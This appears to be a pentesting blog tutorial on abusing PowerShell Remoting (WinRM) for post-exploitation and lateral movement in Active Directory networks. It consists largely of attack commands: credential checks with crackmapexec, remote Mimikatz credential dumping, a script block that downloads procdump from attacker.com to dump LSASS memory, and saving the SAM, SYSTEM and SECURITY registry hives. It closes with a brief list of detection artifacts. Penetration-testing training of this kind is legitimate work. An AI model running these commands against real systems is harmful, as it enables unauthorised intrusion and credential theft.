PowerShell Remoting for Pentesters

PowerShell Remoting is like RDP without the GUI. It lets administrators (and attackers) run commands on remote systems over the network using the WinRM service. If you’ve got valid credentials and the right access, PowerShell Remoting becomes a stealthy, native post-exploitation tool — no implants, no noise, and no third-party agents required.

This guide breaks down what PowerShell Remoting is, how it works, how to enable it, and how to abuse it during a penetration test.

PowerShell Remoting uses the Windows Remote Management (WinRM) service to create an interactive PowerShell session with a remote system. This allows you to:

  • Run single commands (Invoke-Command)
  • Launch a full interactive shell (Enter-PSSession)
  • Execute scripts or dump data from many systems simultaneously
  • HTTP (unencrypted unless using HTTPS or Kerberos): 5985
  • HTTPS (encrypted): 5986

On the target machine (with local or remote admin rights):

Enable-PSRemoting -Force
# Enables the WinRM listener and sets necessary firewall rules
Enter-PSSession -ComputerName 192.168.56.101 -Credential corp\administrator
# Opens a shell on the remote machine
Invoke-Command -ComputerName 192.168.56.101 -ScriptBlock { Get-LocalUser } -Credential corp\administrator
# Runs the command remotely and returns output

Use Test-WSMan:

Test-WSMan 192.168.56.101
# Returns WinRM info if the system is reachable and WinRM is enabled

Let’s say you’ve compromised a low-privileged domain user and found that their credentials are valid on another machine where they’re a local admin.

crackmapexec smb 10.0.0.10 -u svc_admin -p Password123
# Look for Pwn3d! to confirm admin access
Enter-PSSession -ComputerName 10.0.0.10 -Credential corp\svc_admin
# Use a shell to dump credentials or search for TGTs

If you already have a shell and want stealthier movement, try:

Invoke-Command -ComputerName 10.0.0.10 -ScriptBlock {
  Invoke-Mimikatz -Command 'privilege::debug sekurlsa::logonpasswords'
}

Or dump all local admins:

Invoke-Command -ComputerName 10.0.0.10 -ScriptBlock {
  net localgroup administrators
}

Here’s what you can do once inside via PowerShell Remoting:

Invoke-Command -ComputerName 10.0.0.10 -ScriptBlock {
  Invoke-WebRequest http://attacker.com/procdump.exe -OutFile C:\Temp\procdump.exe
  .\procdump.exe -ma lsass.exe lsass.dmp
}
# Download the dump and crack it offline
Invoke-Command -ComputerName 10.0.0.10 -ScriptBlock {
  reg save HKLM\SAM C:\Temp\SAM
  reg save HKLM\SYSTEM C:\Temp\SYSTEM
  reg save HKLM\SECURITY C:\Temp\SECURITY
}

Instead of entering each time, you can build sessions and re-use them:

$session = New-PSSession -ComputerName 10.0.0.10 -Credential corp\svc_admin
Invoke-Command -Session $session -ScriptBlock { whoami }

Close session:

Remove-PSSession $session

While this is offensive-focused, be aware of artifacts:

  • PowerShell logs in Event Viewer (ID 4104 for scripts, 4688 for process creation)
  • Network logs show WinRM traffic over 5985/5986
  • Credential theft triggers (e.g., LSASS access)

PowerShell Remoting is one of the stealthiest and most powerful tools in a pentester’s post-exploitation toolkit. If you’ve got creds and WinRM is open, you’re just a command away from remote control.

In an Active Directory environment, it’s not just about privilege escalation — it’s about pivoting through the environment with native tools, no noise, and maximum access.

Scroll to Top